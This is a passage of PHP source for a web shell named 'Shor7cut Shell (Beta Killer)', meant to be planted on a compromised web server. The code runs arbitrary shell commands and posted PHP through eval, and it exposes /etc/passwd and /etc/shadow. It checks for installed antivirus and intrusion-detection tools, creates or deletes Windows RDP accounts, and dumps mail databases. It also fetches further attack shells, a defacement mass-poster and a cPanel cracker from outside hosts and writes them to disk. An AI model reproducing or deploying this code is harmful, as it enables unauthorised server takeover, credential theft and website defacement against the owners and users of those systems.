1562elseif(isset($_GET['x']) && ($_GET['x'] == 'dump'))
1563{
1564?>
1565<form action="?path=<?php echo $path; ?>&x=dump" method="post">
1566<?php
1567echo'<center>
1568<table border=1>
1569<select class="inputzbut" align="left" name="pilihan" id="pilih">
1570<option value="dumper">dump mail database</option>
1571</select>
1572<input type="submit" name="submites" class="inputzbut" value="Click here for Dump Email">
1573</td></form></tr></table>';
1574
1575}
1576
1577///menu rdp bib
1578elseif(isset($_GET['x']) && ($_GET['x'] == 'krdp'))
1579{
1580 ?>
1581 <form action="?path=<?php echo $path; ?>&x=krdp" method="post">
1582 <?php
1583error_reporting(0);
1584$local_host= shell_exec(hostname);
1585$server_ip = $_SERVER['SERVER_NAME'];
1586$gaya_root = "$local_host:~ ";
1587$phpv = @phpversion();
1588$o = "<br>";
1589
1590
1591if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
1592 $status_os = '<font color="greenyellow">Windows</font>/<font color="redpink">Linux</font>';
1593 $status_work = '<font color="greenyellow">Dapat Digunakan</font><br>';
1594} else {
1595 $status_os = '<font color="redpink">Windows</font>/<font color="greenyellow">Linux</font>';
1596 $status_work = '<font color="red">Tidak Dapat Digunakan</font><br>';
1597}
1598?><!DOCTYPE html>
1599<html>
1600<head>
1601 <title>Shor7cut Shell (Beta Killer)</title>
1602 <link rel='shortcut icon' type='image/x-icon' href='http://s24.postimg.org/glkiiddg5/frog_152630_1280.png' />
1603 <meta name="description" content="Shor7cut Shell (Beta Killer)">
1604 <meta name="viewport" content="width=device-width, initial-scale=1">
1605
1606</head>
1607<body>
1608<center>
1609
1610<?php if(strtoupper(substr(PHP_OS, 0, 3)) === 'WIN'){?>
1611
1612
1613<div id="content-left">
1614<p>-| Create RDP |-</p>
1615<form action="" method="post">Username : <input type="text" name="username" required> Password : <input type="text" name="password" required> <input type="hidden" name="kshell" value="1"><input type="submit" name="submit" value=">>">
1616</form>
1617</div>
1618
1619
1620<div id="content-left">
1621<p>-{ Option }-</p>
1622<form action="" method="post">!command : <input type="text" name="rusername" placeholder="Masukan Username"> <select name="aksi">
1623 <option value="1">Tampilkan Username</option>
1624 <option value="2">Hapus Username</option>
1625 <option value="3">Ubah Password</option>
1626 </select>
1627<input type="hidden" name="kshell" value="2">
1628<input type="submit" name="submit" value=">>"></form>
1629</div>
1630<?php }
1631?>
1632
1633
1634 <?php
1635}///menu bawah Sinkaroid
1636echo'<center><h4>File Creator [Auto upload]</h4>
1637<table border=1>
1638<tr><form method="post" action=""> <td>
1639<select class="inputzbut" align="left" name="pilihan" id="pilih">
1640<option value="ab">AnonGhost Bypass Shell</option>
1641<option value="hsphere">Bypass hSphere Shell</option>
1642<option value="forbid">Pasirmerah Shell</option>
1643<option value="idxploit">IndoXploit Tools</option>
1644<option value="zh">Zone-H Mass Poster</option>
1645<option value="syml">Symlink</option>
1646<option value="sabun">Sabun HSH</option>
1647<option value="nginceng">Ngintip Janda HSH</option>
1648<option value="cp">Auto Crack cPanel</option>
1649<option value="adminer">Adminer</option>
1650</select>
1651<input type="submit" name="submites" class="inputzbut" value="create">
1652</td></form></tr></table>';
1653error_reporting(0);
1654set_time_limit(0);
1655$submit = $_POST ['submites'];
1656if(isset($submit)) {
1657 $pilih = $_POST['pilihan'];
1658 if ( $pilih == 'ini') {
1659
1660 }
1661 ///AnonGhost Bypass Shell
1662 elseif ( $pilih == 'ab') {
1663 $files = file_get_contents("http://localhost/SHELL/ab.php");
1664 file_put_contents("ab.php",$files);
1665 echo "<script>alert('Anonghost Bypass shell created! Default pass: w0rm'); hideAll();</script>";
1666 echo "<a href="."ab.php"." target=_blank><b>ab.php [Click here]</b></a></center>";
1667 die();
1668 }
1669
1670 ///dumper
1671 elseif ( $pilih == 'dumper') {
1672 $files = file_get_contents("http://pastebin.com/raw/HhiURUER");
1673 file_put_contents("dumper.php",$files);
1674 echo "<script>alert('Done! Access dumper.php for processing'); hideAll();</script>";
1675 echo "<a href="."dumper.php"." target=_blank><b>dumper.php [Click here]</b></a></center>";
1676 die();
1677 }
1678
1679 ///hsphere shell
1680 elseif ( $pilih == 'hsphere') {
1681 $files = file_get_contents("https://raw.githubusercontent.com/sinkaroid/pasirmerah/sc0/sc0hsphere.php");
1682 file_put_contents("hsphere.php",$files);
1683 echo "<script>alert('Bypass hsphere shell created!'); hideAll();</script>";
1684 echo "<a href="."hsphere.php"." target=_blank><b>hsphere.php [Click here]</b></a></center>";
1685 die();
1686 }
1687
1688 ///idxploit shell
1689 elseif ( $pilih == 'idxploit') {
1690 $files = file_get_contents("http://hxpgroup.com/itil/indoxploit.php");
1691 file_put_contents("idxploit.php",$files);
1692 echo "<script>alert('IndoXploit shell created'); hideAll();</script>";
1693 echo "<a href="."idxploit.php"." target=_blank><b>idxploit.php [Click here]</b></a></center>";
1694 die();
1695
1696 }
1697
1698 ///Mass Zone-H
1699 elseif ( $pilih == 'zh') {
1700 $files = file_get_contents("http://localhost/shell/zh.php");
1701 file_put_contents("zh.php",$files);
1702 echo "<script>alert('Zone-H Mass Poster Created'); hideAll();</script>";
1703 echo "<a href="."zh.php"." target=_blank><b>zh.php [Click here]</b></a></center>";
1704 die();
1705
1706 }
1707
1708 ///cPanel Auto Crack
1709 elseif ( $pilih == 'cp') {
1710 $files = file_get_contents("http://localhost/shell/cp.php");
1711 file_put_contents("cp.php",$files);
1712 echo "<script>alert('Zone-H Mass Poster Created'); hideAll();</script>";
1713 echo "<a href="."cp.php"." target=_blank><b>cp.php [Click here]</b></a></center>";
1714 die();
1715
1716 }
1717
1718 ///Symlink
1719 elseif ( $pilih == 'syml') {
1720 $files = file_get_contents("http://localhost/shell/syml.php");
1721 file_put_contents("syml.php",$files);
1722 echo "<script>alert('Zone-H Mass Poster Created'); hideAll();</script>";
1723 echo "<a href="."syml.php"." target=_blank><b>syml.php [Click here]</b></a></center>";
1724 die();
1725
1726 }
1727
1728 ///Sabun HSH
1729 elseif ( $pilih == 'sabun') {
1730 $files = file_get_contents("http://localhost/shell/sabun.php");
1731 file_put_contents("sabun.php",$files);
1732 echo "<script>alert('Sabun HSH Created'); hideAll();</script>";
1733 echo "<a href="."sabun.php"." target=_blank><b>sabun.php [Click here]</b></a></center>";
1734 die();
1735
1736 }
1737
1738 ///Ngintip Janda HSH
1739 elseif ( $pilih == 'nginceng') {
1740 $files = file_get_contents("http://localhost/shell/nginceng.php");
1741 file_put_contents("nginceng.php",$files);
1742 echo "<script>alert('nginceng HSH Created'); hideAll();</script>";
1743 echo "<a href="."nginceng.php"." target=_blank><b>nginceng.php [Click here]</b></a></center>";
1744 die();
1745
1746 }
1747
1748 ///Adminer
1749 elseif ( $pilih == 'adminer') {
1750 $files = file_get_contents("http://localhost/shell/Adminer.php");
1751 file_put_contents("adminer.php",$files);
1752 echo "<script>alert('Adminer Created'); hideAll();</script>";
1753 echo "<a href="."adminer.php"." target=_blank><b>adminer.php [Click here]</b></a></center>";
1754 die();
1755
1756 }
1757 }
1758
1759echo '<p>
1760</html>
1761';
1762?>
1763</div>
1764<table class="info" id="toolsTbl" cellpadding="0" cellspacing="0" width="100%">
1765 <tr>
1766 <td><form onsubmit="g(null,this.c.value);return false;"><span>Change dir:</span><br><input class="toolsInp" type=text name=c value="<?php echo htmlspecialchars($GLOBALS['cwd']);?>"><input type=submit value=">>"></form></td>
1767 <td><form onsubmit="g('FilesTools',null,this.f.value);return false;"><span>Read file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form></td>
1768 </tr>
1769 <tr>
1770 <td><form onsubmit="g('FilesMan',null,'mkdir',this.d.value);return false;"><span>Make dir:</span><br><input class="toolsInp" type=text name=d><input type=submit value=">>"></form><?php echo $is_writable?></td>
1771 <td><form onsubmit="g('FilesTools',null,this.f.value,'mkfile');return false;"><span>Make file:</span><br><input class="toolsInp" type=text name=f><input type=submit value=">>"></form><?php echo $is_writable?></td>
1772 </tr>
1773 <tr>
1774 <td><form onsubmit="g('Console',null,this.c.value);return false;"><span>Execute:</span><br><input class="toolsInp" type=text name=c value=""><input type=submit value=">>"></form></td>
1775 <td><form method='post' ENCTYPE='multipart/form-data'>
1776 <input type=hidden name=a value='FilesMAn'>
1777 <input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd'])?>'>
1778 <input type=hidden name=p1 value='uploadFile'>
1779 <input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
1780 <span>Upload file:</span><br><input class="toolsInp" type=file name=f><input type=submit value=">>"></form><?php echo $is_writable?></td>
1781 </tr>
1782
1783</table>
1784<hr/>
1785<center class="cpr">
1786 13CHMOD37
1787 <span class="cpr">© 2016</span>
1788</center>
1789</div>
1790</body></html>
1791<?php
1792}
1793if ( !function_exists("posix_getpwuid") && (strpos($GLOBALS['disable_functions'], 'posix_getpwuid')===false) ) { function posix_getpwuid($p) { return false; } }
1794if ( !function_exists("posix_getgrgid") && (strpos($GLOBALS['disable_functions'], 'posix_getgrgid')===false) ) { function posix_getgrgid($p) { return false; } }
1795function ex($in) {
1796 $out = '';
1797 if(function_exists('exec')) {
1798 @exec($in,$out);
1799 $out = @join("\n",$out);
1800 }elseif(function_exists('passthru')) {
1801 ob_start();
1802 @passthru($in);
1803 $out = ob_get_clean();
1804 }elseif(function_exists('system')) {
1805 ob_start();
1806 @system($in);
1807 $out = ob_get_clean();
1808 }elseif(function_exists('shell_exec')) {
1809 $out = shell_exec($in);
1810 }elseif(is_resource($f = @popen($in,"r"))) {
1811 $out = "";
1812 while(!@feof($f))
1813 $out .= fread($f,1024);
1814 pclose($f);
1815 }
1816 return $out;
1817}
1818function viewSize($s) {
1819 if($s >= 1073741824)
1820 return sprintf('%1.2f', $s / 1073741824 ). ' GB';
1821 elseif($s >= 1048576)
1822 return sprintf('%1.2f', $s / 1048576 ) . ' MB';
1823 elseif($s >= 1024)
1824 return sprintf('%1.2f', $s / 1024 ) . ' KB';
1825 else
1826 return $s . ' B';
1827}
1828
1829function perms($p) {
1830 if (($p & 0xC000) == 0xC000)$i = 's';
1831 elseif (($p & 0xA000) == 0xA000)$i = 'l';
1832 elseif (($p & 0x8000) == 0x8000)$i = '-';
1833 elseif (($p & 0x6000) == 0x6000)$i = 'b';
1834 elseif (($p & 0x4000) == 0x4000)$i = 'd';
1835 elseif (($p & 0x2000) == 0x2000)$i = 'c';
1836 elseif (($p & 0x1000) == 0x1000)$i = 'p';
1837 else $i = 'u';
1838 $i .= (($p & 0x0100) ? 'r' : '-');
1839 $i .= (($p & 0x0080) ? 'w' : '-');
1840 $i .= (($p & 0x0040) ? (($p & 0x0800) ? 's' : 'x' ) : (($p & 0x0800) ? 'S' : '-'));
1841 $i .= (($p & 0x0020) ? 'r' : '-');
1842 $i .= (($p & 0x0010) ? 'w' : '-');
1843 $i .= (($p & 0x0008) ? (($p & 0x0400) ? 's' : 'x' ) : (($p & 0x0400) ? 'S' : '-'));
1844 $i .= (($p & 0x0004) ? 'r' : '-');
1845 $i .= (($p & 0x0002) ? 'w' : '-');
1846 $i .= (($p & 0x0001) ? (($p & 0x0200) ? 't' : 'x' ) : (($p & 0x0200) ? 'T' : '-'));
1847 return $i;
1848}
1849function viewPermsColor($f) {
1850 if (!@is_readable($f))
1851 return '<font color=#FF0000><b>'.perms(@fileperms($f)).'</b></font>';
1852 elseif (!@is_writable($f))
1853 return '<font color=white><b>'.perms(@fileperms($f)).'</b></font>';
1854 else
1855 return '<font color=#00BB00><b>'.perms(@fileperms($f)).'</b></font>';
1856}
1857if(!function_exists("scandir")) {
1858 function scandir($dir) {
1859 $dh = opendir($dir);
1860 while (false !== ($filename = readdir($dh))) {
1861 $files[] = $filename;
1862 }
1863 return $files;
1864 }
1865}
1866function which($p) {
1867 $path = ex('which '.$p);
1868 if(!empty($path))
1869 return $path;
1870 return false;
1871}
1872function actionSecInfo() {
1873 printHeader();
1874 echo '<h1>Server security information</h1><div class=content>';
1875 function showSecParam($n, $v) {
1876 $v = trim($v);
1877 if($v) {
1878 echo '<span>'.$n.': </span>';
1879 if(strpos($v, "\n") === false)
1880 echo $v.'<br>';
1881 else
1882 echo '<pre class=ml1>'.$v.'</pre>';
1883 }
1884 }
1885
1886 showSecParam('Server software', @getenv('SERVER_SOFTWARE'));
1887 showSecParam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
1888 showSecParam('Open base dir', @ini_get('open_basedir'));
1889 showSecParam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
1890 showSecParam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
1891 showSecParam('cURL support', function_exists('curl_version')?'enabled':'no');
1892 $temp=array();
1893 if(function_exists('mysql_get_client_info'))
1894 $temp[] = "MySql (".mysql_get_client_info().")";
1895 if(function_exists('mssql_connect'))
1896 $temp[] = "MSSQL";
1897 if(function_exists('pg_connect'))
1898 $temp[] = "PostgreSQL";
1899 if(function_exists('oci_connect'))
1900 $temp[] = "Oracle";
1901 showSecParam('Supported databases', implode(', ', $temp));
1902 echo '<br>';
1903
1904 if( $GLOBALS['os'] == 'nix' ) {
1905 $userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
1906 $danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
1907 $downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
1908 showSecParam('Readable /etc/passwd', @is_readable('/etc/passwd')?"yes <a href='#' onclick='g(\"FilesTools\", \"/etc/\", \"passwd\")'>[view]</a>":'no');
1909 showSecParam('Readable /etc/shadow', @is_readable('/etc/shadow')?"yes <a href='#' onclick='g(\"FilesTools\", \"etc\", \"shadow\")'>[view]</a>":'no');
1910 showSecParam('OS version', @file_get_contents('/proc/version'));
1911 showSecParam('Distr name', @file_get_contents('/etc/issue.net'));
1912 if(!$GLOBALS['safe_mode']) {
1913 echo '<br>';
1914 $temp=array();
1915 foreach ($userful as $item)
1916 if(which($item)){$temp[]=$item;}
1917 showSecParam('Userful', implode(', ',$temp));
1918 $temp=array();
1919 foreach ($danger as $item)
1920 if(which($item)){$temp[]=$item;}
1921 showSecParam('Danger', implode(', ',$temp));
1922 $temp=array();
1923 foreach ($downloaders as $item)
1924 if(which($item)){$temp[]=$item;}
1925 showSecParam('Downloaders', implode(', ',$temp));
1926 echo '<br/>';
1927 showSecParam('Hosts', @file_get_contents('/etc/hosts'));
1928 showSecParam('HDD space', ex('df -h'));
1929 showSecParam('Mount options', @file_get_contents('/etc/fstab'));
1930 }
1931 } else {
1932 showSecParam('OS Version',ex('ver'));
1933 showSecParam('Account Settings',ex('net accounts'));
1934 showSecParam('User Accounts',ex('net user'));
1935 }
1936 echo '</div>';
1937 printFooter();
1938}
1939
1940function actionPhp() {
1941 if( isset($_POST['ajax']) ) {
1942 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
1943 ob_start();
1944 eval($_POST['p1']);
1945 $temp = "document.getElementById('PhpOutput').style.display='';document.getElementById('PhpOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
1946 echo strlen($temp), "\n", $temp;
1947 exit;
1948 }
1949 printHeader();
1950 if( isset($_POST['p2']) && ($_POST['p2'] == 'info') ) {
1951 echo '<h1>PHP info</h1><div class=content>';
1952 ob_start();
1953 phpinfo();
1954 $tmp = ob_get_clean();
1955 $tmp = preg_replace('!body {.*}!msiU','',$tmp);
1956 $tmp = preg_replace('!a:\w+ {.*}!msiU','',$tmp);
1957 $tmp = preg_replace('!h1!msiU','h2',$tmp);
1958 $tmp = preg_replace('!td, th {(.*)}!msiU','.e, .v, .h, .h th {$1}',$tmp);
1959 $tmp = preg_replace('!body, td, th, h2, h2 {.*}!msiU','',$tmp);
1960 echo $tmp;
1961 echo '</div><br>';
1962 }
1963 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
1964 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
1965 echo '<h1>Execution PHP-code</h1><div class=content><form name=pf method=post onsubmit="if(this.ajax.checked){a(null,null,this.code.value);}else{g(null,null,this.code.value,\'\');}return false;"><textarea name=code class=bigarea id=PhpCode>'.(!empty($_POST['p1'])?htmlspecialchars($_POST['p1']):'').'</textarea><input type=submit value=Eval style="margin-top:5px">';
1966 echo ' <input type=checkbox name=ajax value=1 '.($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'').'> send using AJAX</form><pre id=PhpOutput style="'.(empty($_POST['p1'])?'display:none;':'').'margin-top:5px;" class=ml1>';
1967 if(!empty($_POST['p1'])) {
1968 ob_start();
1969 eval($_POST['p1']);
1970 echo htmlspecialchars(ob_get_clean());
1971 }
1972 echo '</pre></div>';
1973 printFooter();
1974}
1975
1976function actionFilesMan() {
1977 printHeader();
1978 echo '<h1>File manager</h1><div class=content>';
1979 if(isset($_POST['p1'])) {
1980 switch($_POST['p1']) {
1981 case 'uploadFile':
1982 if(!@move_uploaded_file($_FILES['f']['tmp_name'], $_FILES['f']['name']))
1983 echo "Can't upload file!";
1984 break;
1985 break;
1986 case 'mkdir':
1987 if(!@mkdir($_POST['p2']))
1988 echo "Can't create new dir";
1989 break;
1990 case 'delete':
1991 function deleteDir($path) {
1992 $path = (substr($path,-1)=='/') ? $path:$path.'/';
1993 $dh = opendir($path);
1994 while ( ($item = readdir($dh) ) !== false) {
1995 $item = $path.$item;
1996 if ( (basename($item) == "..") || (basename($item) == ".") )
1997 continue;
1998 $type = filetype($item);
1999 if ($type == "dir")
2000 deleteDir($item);
2001 else
2002 @unlink($item);
2003 }
2004 closedir($dh);
2005 rmdir($path);
2006 }
2007 if(is_array(@$_POST['f']))
2008 foreach($_POST['f'] as $f) {
2009 $f = urldecode($f);
2010 if(is_dir($f))
2011 deleteDir($f);
2012 else
2013 @unlink($f);
2014 }
2015 break;
2016 case 'paste':
2017 if($_SESSION['act'] == 'copy') {
2018 function copy_paste($c,$s,$d){
2019 if(is_dir($c.$s)){
2020 mkdir($d.$s);
2021 $h = opendir($c.$s);
2022 while (($f = readdir($h)) !== false)
2023 if (($f != ".") and ($f != "..")) {
2024 copy_paste($c.$s.'/',$f, $d.$s.'/');
2025 }
2026 } elseif(is_file($c.$s)) {
2027 @copy($c.$s, $d.$s);
2028 }
2029 }
2030 foreach($_SESSION['f'] as $f)
2031 copy_paste($_SESSION['cwd'],$f, $GLOBALS['cwd']);
2032 } elseif($_SESSION['act'] == 'move') {
2033 function move_paste($c,$s,$d){
2034 if(is_dir($c.$s)){
2035 mkdir($d.$s);
2036 $h = opendir($c.$s);
2037 while (($f = readdir($h)) !== false)
2038 if (($f != ".") and ($f != "..")) {
2039 copy_paste($c.$s.'/',$f, $d.$s.'/');
2040 }
2041 } elseif(is_file($c.$s)) {
2042 @copy($c.$s, $d.$s);
2043 }
2044 }
2045 foreach($_SESSION['f'] as $f)
2046 @rename($_SESSION['cwd'].$f, $GLOBALS['cwd'].$f);
2047 }
2048 unset($_SESSION['f']);
2049 break;
2050 default:
2051 if(!empty($_POST['p1']) && (($_POST['p1'] == 'copy')||($_POST['p1'] == 'move')) ) {
2052 $_SESSION['act'] = @$_POST['p1'];
2053 $_SESSION['f'] = @$_POST['f'];
2054 foreach($_SESSION['f'] as $k => $f)
2055 $_SESSION['f'][$k] = urldecode($f);
2056 $_SESSION['cwd'] = @$_POST['c'];
2057 }
2058 break;
2059 }
2060 echo '<script>document.mf.p1.value="";document.mf.p2.value="";</script>';
2061 }
2062 $dirContent = @scandir(isset($_POST['c'])?$_POST['c']:$GLOBALS['cwd']);
2063 if($dirContent === false) { echo 'Can\'t open this folder!'; return; }
2064 global $sort;
2065 $sort = array('name', 1);
2066 if(!empty($_POST['p1'])) {
2067 if(preg_match('!s_([A-z]+)_(\d{1})!', $_POST['p1'], $match))
2068 $sort = array($match[1], (int)$match[2]);
2069 }
2070?>
2071<script>
2072 function sa() {
2073 for(i=0;i<document.files.elements.length;i++)
2074 if(document.files.elements[i].type == 'checkbox')
2075 document.files.elements[i].checked = document.files.elements[0].checked;
2076 }
2077</script>
2078<table width='100%' class='main' cellspacing='0' cellpadding='2'>
2079<form name=files method=post>
2080<?php
2081 echo "<tr><th width='13px'><input type=checkbox onclick='sa()' class=chkbx></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_name_".($sort[1]?0:1)."\")'>Name</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_size_".($sort[1]?0:1)."\")'>Size</a></th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_modify_".($sort[1]?0:1)."\")'>Modify</a></th><th>Owner/Group</th><th><a href='#' onclick='g(\"FilesMan\",null,\"s_perms_".($sort[1]?0:1)."\")'>Permissions</a></th><th>Actions</th></tr>";
2082 $dirs = $files = $links = array();
2083 $n = count($dirContent);
2084 for($i=0;$i<$n;$i++) {
2085 $ow = @posix_getpwuid(@fileowner($dirContent[$i]));
2086 $gr = @posix_getgrgid(@filegroup($dirContent[$i]));
2087 $tmp = array('name' => $dirContent[$i],
2088 'path' => $GLOBALS['cwd'].$dirContent[$i],
2089 'modify' => date('Y-m-d H:i:s',@filemtime($GLOBALS['cwd'].$dirContent[$i])),
2090 'perms' => viewPermsColor($GLOBALS['cwd'].$dirContent[$i]),
2091 'size' => @filesize($GLOBALS['cwd'].$dirContent[$i]),
2092 'owner' => $ow['name']?$ow['name']:@fileowner($dirContent[$i]),
2093 'group' => $gr['name']?$gr['name']:@filegroup($dirContent[$i])
2094 );
2095 if(@is_file($GLOBALS['cwd'].$dirContent[$i]))
2096 $files[] = array_merge($tmp, array('type' => 'file'));
2097 elseif(@is_link($GLOBALS['cwd'].$dirContent[$i]))
2098 $links[] = array_merge($tmp, array('type' => 'link'));
2099 elseif(@is_dir($GLOBALS['cwd'].$dirContent[$i])&& ($dirContent[$i] != "."))
2100 $dirs[] = array_merge($tmp, array('type' => 'dir'));
2101 }
2102 $GLOBALS['sort'] = $sort;
2103 function cmp($a, $b) {
2104 if($GLOBALS['sort'][0] != 'size')
2105 return strcmp($a[$GLOBALS['sort'][0]], $b[$GLOBALS['sort'][0]])*($GLOBALS['sort'][1]?1:-1);
2106 else
2107 return (($a['size'] < $b['size']) ? -1 : 1)*($GLOBALS['sort'][1]?1:-1);
2108 }
2109 usort($files, "cmp");
2110 usort($dirs, "cmp");
2111 usort($links, "cmp");
2112 $files = array_merge($dirs, $links, $files);
2113 $l = 0;
2114 foreach($files as $f) {
2115 echo '<tr'.($l?' class=l1':'').'><td><input type=checkbox name="f[]" value="'.urlencode($f['name']).'" class=chkbx></td><td><a href=# onclick="'.(($f['type']=='file')?'g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'view\')">'.htmlspecialchars($f['name']):'g(\'FilesMan\',\''.$f['path'].'\');"><b>[ '.htmlspecialchars($f['name']).' ]</b>').'</a></td><td>'.(($f['type']=='file')?viewSize($f['size']):$f['type']).'</td><td>'.$f['modify'].'</td><td>'.$f['owner'].'/'.$f['group'].'</td><td><a href=# onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\',\'chmod\')">'.$f['perms']
2116 .'</td><td><a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'rename\')">R</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'touch\')">T</a>'.(($f['type']=='file')?' <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'edit\')">E</a> <a href="#" onclick="g(\'FilesTools\',null,\''.urlencode($f['name']).'\', \'download\')">D</a>':'').'</td></tr>';
2117 $l = $l?0:1;
2118 }
2119 ?>
2120 <tr><td colspan=7>
2121 <input type=hidden name=a value='FilesMan'>
2122 <input type=hidden name=c value='<?php echo htmlspecialchars($GLOBALS['cwd'])?>'>
2123 <input type=hidden name=charset value='<?php echo isset($_POST['charset'])?$_POST['charset']:''?>'>
2124 <select name='p1'><option value='copy'>Copy</option><option value='move'>Move</option><option value='delete'>Delete</option><?php if(!empty($_SESSION['act'])&&@count($_SESSION['f'])){?><option value='paste'>Paste</option><?php }?></select> <input type="submit" value=">>"></td></tr>
2125 </form></table></div>
2126 <?php
2127 printFooter();
2128}
2129
2130function actionStringTools() {
2131 if(!function_exists('hex2bin')) {function hex2bin($p) {return decbin(hexdec($p));}}
2132 if(!function_exists('hex2ascii')) {function hex2ascii($p){$r='';for($i=0;$i<strLen($p);$i+=2){$r.=chr(hexdec($p[$i].$p[$i+1]));}return $r;}}
2133 if(!function_exists('ascii2hex')) {function ascii2hex($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= dechex(ord($p[$i]));return strtoupper($r);}}
2134 if(!function_exists('full_urlencode')) {function full_urlencode($p){$r='';for($i=0;$i<strlen($p);++$i)$r.= '%'.dechex(ord($p[$i]));return strtoupper($r);}}
2135
2136 if(isset($_POST['ajax'])) {
2137 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = true;
2138 ob_start();
2139 if(function_exists($_POST['p1']))
2140 echo $_POST['p1']($_POST['p2']);
2141 $temp = "document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='".addcslashes(htmlspecialchars(ob_get_clean()),"\n\r\t\\'\0")."';\n";
2142 echo strlen($temp), "\n", $temp;
2143 exit;
2144 }
2145 printHeader();
2146 echo '<h1>String conversions</h1><div class=content>';
2147 $stringTools = array(
2148 'Base64 encode' => 'base64_encode',
2149 'Base64 decode' => 'base64_decode',
2150 'Url encode' => 'urlencode',
2151 'Url decode' => 'urldecode',
2152 'Full urlencode' => 'full_urlencode',
2153 'md5 hash' => 'md5',
2154 'sha1 hash' => 'sha1',
2155 'crypt' => 'crypt',
2156 'CRC32' => 'crc32',
2157 'ASCII to HEX' => 'ascii2hex',
2158 'HEX to ASCII' => 'hex2ascii',
2159 'HEX to DEC' => 'hexdec',
2160 'HEX to BIN' => 'hex2bin',
2161 'DEC to HEX' => 'dechex',
2162 'DEC to BIN' => 'decbin',
2163 'BIN to HEX' => 'bin2hex',
2164 'BIN to DEC' => 'bindec',
2165 'String to lower case' => 'strtolower',
2166 'String to upper case' => 'strtoupper',
2167 'Htmlspecialchars' => 'htmlspecialchars',
2168 'String length' => 'strlen',
2169 );
2170 if(empty($_POST['ajax'])&&!empty($_POST['p1']))
2171 $_SESSION[md5($_SERVER['HTTP_HOST']).'ajax'] = false;
2172 echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";
2173 foreach($stringTools as $k => $v)
2174 echo "<option value='".htmlspecialchars($v)."'>".$k."</option>";
2175 echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 ".($_SESSION[md5($_SERVER['HTTP_HOST']).'ajax']?'checked':'')."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>".htmlspecialchars(@$_POST['p2'])."</textarea></form><pre class='ml1' style='".(empty($_POST['p1'])?'display:none;':'')."margin-top:5px' id='strOutput'>";
2176 if(!empty($_POST['p1'])) {
2177 if(function_exists($_POST['p1']))
2178 echo htmlspecialchars($_POST['p1']($_POST['p2']));
2179 }
2180 echo"</pre></div>";
2181 ?>
2182 <br><h1>Search for hash:</h1><div class=content>
2183 <form method='post' target='_blank' name="hf">
2184 <input type="text" name="hash" style="width:200px;"><br>
2185 <input type="button" value="hashcrack.com" onclick="document.hf.action='http://www.hashcrack.com/index.php';document.hf.submit()"><br>
2186 <input type="button" value="milw0rm.com" onclick="document.hf.action='http://www.milw0rm.com/cracker/search.php';document.hf.submit()"><br>
2187 <input type="button" value="hashcracking.info" onclick="document.hf.action='https://hashcracking.info/index.php';document.hf.submit()"><br>
2188 <input type="button" value="md5.rednoize.com" onclick="document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()"><br>
2189 <input type="button" value="md5decrypter.com" onclick="document.hf.action='http://www.md5decrypter.com/';document.hf.submit()"><br>
2190 </form>
2191 </div>
2192 <?php
2193 printFooter();
2194}
2195
2196function actionFilesTools() {
2197 if( isset($_POST['p1']) )
2198 $_POST['p1'] = urldecode($_POST['p1']);
2199 if(@$_POST['p2']=='download') {
2200 if(is_file($_POST['p1']) && is_readable($_POST['p1'])) {
2201 ob_start("ob_gzhandler", 4096);
2202 header("Content-Disposition: attachment; filename=".basename($_POST['p1']));
2203 if (function_exists("mime_content_type")) {
2204 $type = @mime_content_type($_POST['p1']);
2205 header("Content-Type: ".$type);
2206 }
2207 $fp = @fopen($_POST['p1'], "r");
2208 if($fp) {
2209 while(!@feof($fp))
2210 echo @fread($fp, 1024);
2211 fclose($fp);
2212 }
2213 } elseif(is_dir($_POST['p1']) && is_readable($_POST['p1'])) {
2214
2215 }
2216 exit;
2217 }
2218 if( @$_POST['p2'] == 'mkfile' ) {
2219 if(!file_exists($_POST['p1'])) {
2220 $fp = @fopen($_POST['p1'], 'w');
2221 if($fp) {
2222 $_POST['p2'] = "edit";
2223 fclose($fp);
2224 }
2225 }
2226 }
2227 printHeader();
2228 echo '<h1>File tools</h1><div class=content>';
2229 if( !file_exists(@$_POST['p1']) ) {
2230 echo 'File not exists';
2231 printFooter();
2232 return;
2233 }
2234 $uid = @posix_getpwuid(@fileowner($_POST['p1']));
2235 $gid = @posix_getgrgid(@fileowner($_POST['p1']));
